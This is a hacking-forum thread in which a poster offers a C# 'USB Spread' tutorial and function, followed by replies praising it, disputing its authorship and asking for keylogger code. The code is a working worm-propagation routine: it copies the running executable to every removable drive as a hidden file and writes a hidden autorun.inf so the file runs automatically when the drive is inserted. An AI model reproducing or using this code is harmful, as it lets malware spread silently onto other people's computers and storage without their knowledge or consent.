Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

[C#][TUT]USB Spread

USB Spreading is actually very easy to perform.Algorythm to do so consists of 4 steps:
1.Geting the list of USB drives
2.Copying file(s) to USB drive
3.Editing autorun.inf file
4.Hiding autorun.inf and copied files
In this tutorial i'm using C#, but it can be done in any programming language.This is function that spreads the running file to the all USB drives.If you are just copying my code, please give me some credits.

Code
using System.IO;

void USBSpread()
{
      DriveInfo[] Drives = DriveInfo.GetDrives();
      foreach (DriveInfo drive in drives)
            {
                if (drive.DriveType == DriveType.Removable)
                {
                      StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
                       writer.WriteLine("[autorun]\n");
                       writer.WriteLine("open=file.exe");
                       writer.WriteLine("action=Run win32");
                       writer.Close();
                       File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
                       File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);
                       File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);
                }
            }

}
Great Tut! Thanks Bro! :)
GJ Bro... +REP
:D ;) continue to write tutorials.. You will be have VIP on this 4um :D
thanks for the share! I'm still in 2 minds to change from vb.net to c# i love vb.net :( but wanna learn something new....
Why do i have the feeling that the first 3 posters are the same guy?
you bad wrong feel :D
we don't now each other
+rep even though they guy is a reg member lol?

I think its the same dude too.

Idk what hed get off doing that.
Why on earth would i create 3 fake profiles???BTW you can see difference between my and JaNveL's grammar...-.-
Good bro, thank's you for sharing ...
Can someone explain me, Why Assembly.GetExecutingAssembly().Location is used, why not just "test.exe" here?
Back.
I don't see how this is your code. You can find the exact same code posted everywhere on HF.
thanks a lot this function is very usefull. I searched the forum and I only find c++ code for keylogger. Is there any c# code for a keylogger. I know i'am lazy cause c++ and c# are quite similar. Thanks a lot anyway for this function
(Nov 26, 2010 07:54 AM)walidbj Wrote:  thanks a lot this function is very usefull. I searched the forum and I only find c++ code for keylogger. Is there any c# code for a keylogger. I know i'am lazy cause c++ and c# are quite similar. Thanks a lot anyway for this function

lOL WTF C# and C++ are totally different..
"Earth; you don't have to be crazy to live here, but it helps."
What tutorial? There is no tutorial.
Also this source is not made by you.
I think it's made by t0fx.
good tut keep up the good work


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by DeletedUser999213May 13, 2018 02:32 PM 12 882 May 13, 2018 02:32 PM
Last Post: jcbullet
[.NET] by Zilog80Feb 16, 2017 11:56 AM 12 737 Feb 16, 2017 11:56 AM
Last Post: Zilog80
[.NET] by danielpherlioMay 28, 2016 02:17 AM 3 554 May 28, 2016 02:17 AM
Last Post: Decim